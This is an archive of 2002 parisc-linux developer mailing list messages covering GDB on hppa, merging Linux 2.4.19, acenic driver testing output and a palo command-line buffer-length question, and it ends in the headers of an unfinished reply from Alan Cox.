List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15709

Hi all,

I just discover the last release of GDB.

Would it be already operational for hppa?

Is somebody already test its gui brother called insight?

thanks in advance for advises,
	Joel




From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: Sat, 3 Aug 2002 19:36:27 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020803193627.H24631@parcelfarce.linux.theplanet.co.uk>
References: <3D4C275D.5010104@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621587 11917 80.91.229.3 (22 Nov 2014 01:59:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 12:36:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE0134860
	for <parisc-linux@parisc-linux.org>; Sat,  3 Aug 2002 12:36:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17b3lL-0006o0-00; Sat, 03 Aug 2002 19:36:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D4C275D.5010104@freebel.net>; from joel.soete@freebel.net on Sat, Aug 03, 2002 at 06:56:29PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15710

On Sat, Aug 03, 2002 at 06:56:29PM +0000, Joel Soete wrote:
> Hi all,
> 
> Now that Linux-2.4.19 is released what will be programm for pl?

i suspect we'll merge 2.4.19 into our tree and release that.  i don't
know how much enthusiasm there still is for working on 2.4 with 2.5
coming on so well.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: Sat, 03 Aug 2002 17:48:51 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020803234851.30FE84831@dsl2.external.hp.com>
References: <3D4C275D.5010104@freebel.net>  <20020803193627.H24631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621587 11921 80.91.229.3 (22 Nov 2014 01:59:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 17:48:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 30FE84831; Sat,  3 Aug 2002 17:48:51 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 03 Aug 2002 19:36:27 BST." <20020803193627.H24631@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15711

Matthew Wilcox wrote:
> i suspect we'll merge 2.4.19 into our tree and release that.  i don't
> know how much enthusiasm there still is for working on 2.4 with 2.5
> coming on so well.

I've not been doing much for 2.5 and I'd like to see the folks who are
beating on 2.5.x not get distract by this.
If someone (paul?) drops 2.4.19 in our CVS and tells me which files
have conflicts, I'd be happy to take a whack at it.

thanks,
grant


From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: 04 Aug 2002 02:36:04 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1028424964.3483.6.camel@irongate.swansea.linux.org.uk>
References: <3D4C275D.5010104@freebel.net> 
	<20020803193627.H24631@parcelfarce.linux.theplanet.co.uk>  
	<20020803234851.30FE84831@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621587 11923 80.91.229.3 (22 Nov 2014 01:59:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:47 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 18:18:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A2854831
	for <parisc-linux@parisc-linux.org>; Sat,  3 Aug 2002 18:18:53 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g741a6u6003609;
	Sun, 4 Aug 2002 02:36:07 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g741a5kX003607;
	Sun, 4 Aug 2002 02:36:05 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020803234851.30FE84831@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15712

On Sun, 2002-08-04 at 00:48, Grant Grundler wrote:
> I've not been doing much for 2.5 and I'd like to see the folks who are
> beating on 2.5.x not get distract by this.
> If someone (paul?) drops 2.4.19 in our CVS and tells me which files
> have conflicts, I'd be happy to take a whack at it.

The merge work I've done to feed on to Marcelo has had very close to
zero conflicts so it shouldnt be too bad.



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 03 Aug 2002 20:03:47 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20020804020348.23C414860@dsl2.external.hp.com>
References: <20020804011707.2B9164860@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621588 11926 80.91.229.3 (22 Nov 2014 01:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:48 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org, jes@wildopensource.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 20:03:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 23C414860; Sat,  3 Aug 2002 20:03:48 -0600 (MDT)
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Sat, 03 Aug 2002 19:17:07 MDT." <20020804011707.2B9164860@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15713

Grant Grundler wrote:
> Log message:
> 2.4.18-pa62 acenic-0.91+minor fix
> Jes Sorensen asked me to test his latest driver...besides
> one minor build fix in acenic.h it loaded and booted.
> 
> First time I tried the machine crashed. I didn't have /sbin/hotplug
> but CONFIG_HOTPLUG was enabled. May this serve as a reminder
> to others...

diff against whatever we had in our CVS before:
	ftp://ftp.parisc-linux.org/patches/acenic-0.91-ggg.diff

and the original tarball (drivers/net/acenic.[ch]):
	ftp://ftp.parisc-linux.org/patches/acenic-0.91.tar.gz

This line of output:
eth1: Enabling PCI Memory Mapped access - was not enabled by BIOS/Firmware

The driver isn't using pci_enable_device() and it should.
Jes is aware of the problem.

But I'm happy...another HP IO card supported by parisc-linux. ;^)

I tried to run netperf but netserver segfaults on parisc.
I'll rebuild to see if compiler changes have fixed netserver and try again.
Anyway, I need to figure out which other 1000SX card is connected
 to the switch.

grant

a500:~# modprobe acenic
acenic.c: v0.91 07/31/2002  Jes Sorensen, linux-acenic@SunSITE.dk
                            http://home.cern.ch/~jes/gige/acenic.html
eth1: Enabling PCI Memory Mapped access - was not enabled by BIOS/Firmware
eth1: Alteon AceNIC Gigabit Ethernet at 0xfffffffffb000000, irq 322
  Tigon II (Rev. 6), Firmware: 12.4.11, MAC: 00:30:6e:04:80:68
  PCI bus width: 64 bits, speed: 66MHz, latency: 128 clks
eth1: Firmware up and running
eth1: Optical link UP (Full Duplex, Flow Control: TX RX)
a500:~# uname -a
Linux a500 2.4.18-pa61 #4 SMP Sat Aug 3 01:00:08 PDT 2002 parisc64 unknown unknown GNU/Linux
a500:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:30:6E:04:80:68  
          inet addr:192.168.0.21  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:40 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:8951 (8.7 KiB)  TX bytes:1522 (1.4 KiB)
          Interrupt:66 



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa62 acenic-0.91
Date: Sat, 03 Aug 2002 20:58:04 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020804025804.3FE6C483E@dsl2.external.hp.com>
References: <20020804011707.2B9164860@dsl2.external.hp.com>  <20020804020348.23C414860@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621588 11931 80.91.229.3 (22 Nov 2014 01:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:48 +0000 (UTC)
Cc: jes@wildopensource.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 20:58:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3FE6C483E; Sat,  3 Aug 2002 20:58:04 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Sat, 03 Aug 2002 20:03:47 MDT." <20020804020348.23C414860@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15714

Grant Grundler wrote:
> This line of output:
> eth1: Enabling PCI Memory Mapped access - was not enabled by BIOS/Firmware
> 
> The driver isn't using pci_enable_device() and it should.
> Jes is aware of the problem.

Jes,
Another TODO item.

Privately, Mathew Wilcox observed cli() is an obsolete interface
and doesn't scale well on SMP boxes. This version of acenic won't
build on 2.5.30 since it still uses cli().  Need to replace that
with spin_lock_irqsave() (or spin_lock()) calls.

hth,
grant



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa62 acenic-0.91
Date: Sun, 04 Aug 2002 01:14:06 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020804071406.8D26F4831@dsl2.external.hp.com>
References: <20020804011707.2B9164860@dsl2.external.hp.com> <20020804020348.23C414860@dsl2.external.hp.com>  <20020804025804.3FE6C483E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621588 11934 80.91.229.3 (22 Nov 2014 01:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, jes@wildopensource.com
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 01:14:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8D26F4831; Sun,  4 Aug 2002 01:14:06 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Sat, 03 Aug 2002 20:58:04 MDT." <20020804025804.3FE6C483E@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15715

Grant Grundler wrote:
> Privately, Mathew Wilcox observed cli() is an obsolete interface
> and doesn't scale well on SMP boxes.

Matthew,
*sigh*. I looked at the code and it uses __cli() (not cli()).
On parisc thats equivalent to local_irq_disable().
Should Jes be using local_irq_disable() directly?

thanks,
grant


From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: Sun, 4 Aug 2002 11:31:16 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20020804153116.GB19482@systemhalted>
References: <3D4C275D.5010104@freebel.net> <20020803193627.H24631@parcelfarce.linux.theplanet.co.uk> <20020803234851.30FE84831@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621588 11937 80.91.229.3 (22 Nov 2014 01:59:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:48 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 09:32:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2EF24829
	for <parisc-linux@parisc-linux.org>; Sun,  4 Aug 2002 09:32:56 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bNLg-0006hs-00; Sun, 04 Aug 2002 11:31:16 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020803234851.30FE84831@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15716

> 
> I've not been doing much for 2.5 and I'd like to see the folks who are
> beating on 2.5.x not get distract by this.
> If someone (paul?) drops 2.4.19 in our CVS and tells me which files
> have conflicts, I'd be happy to take a whack at it.
> 
> thanks,
> grant

I agree. And FWIW, I'd be more than happy to help. 
2.4.x is essential for the cluster work I'm doing :)

c.


From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo: cmdline and commanline has different limits?
Date: Sun, 04 Aug 2002 19:05:28 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3D4D7AF8.9030005@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621589 11941 80.91.229.3 (22 Nov 2014 01:59:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:49 +0000 (UTC)
To: bame@fc.hp.com, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 12:09:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C3248C9
	for <parisc-linux@parisc-linux.org>; Sun,  4 Aug 2002 12:09:57 -0600 (MDT)
Original-Received: from freebel.net (62.235.230.201) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3816EE0008A68E; Sun, 4 Aug 2002 20:02:21 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15717

Hi Paul,

I just notice a small problem:

In palo/palo/palo.c at line 720:
	...
	if (strlen(commandline) > 255)
	...

OTC in palo/lib/common.h in struct firstblock at line 46:

     char cmdline[128];          /* Up to 127 bytes of text plus a \0 */

     unsigned char pad1[0xf0 - 8 - 7 * sizeof (int) - 128];


I do not know yet if pad1 can be removed so that cmdline could reach 204 
[240-8-7*(sizeof int = 4?)] char lenght, also I prefer to let you choise.

Joel



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hi Alan, ...
Date: Sun, 04 Aug 2002 19:59:25 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <3D4D879D.7020409@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621589 11943 80.91.229.3 (22 Nov 2014 01:59:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 12:56:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43F12482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Aug 2002 12:56:41 -0600 (MDT)
Original-Received: from freebel.net (62.235.230.201) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3815BD0008ABD4; Sun, 4 Aug 2002 20:50:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15718

Hi Alan,

I try to send you some blabla in answer to some mail but since yesterday 
evening I did not reach anynore to join you:

  - These recipients of your message have been processed by the mail server:
alan@lxorguk.ukuu.org.uk; Failed; 5.1.2 (bad destination system address)

     Remote MTA lightning.swansea.uk.linux.org: network error


  - SMTP protocol diagnostic: 554 SMTP service not available (failed to 
find host name from IP address)

Am I alone? (if yes I would like to advise my isp)

Thanks in advance,
	Joel



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi Alan, ...
Date: 04 Aug 2002 21:19:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1028492343.15200.12.camel@irongate.swansea.linux.org.uk>
References: <3D4D879D.7020409@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621589 11948 80.91.229.3 (22 Nov 2014 01:59:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
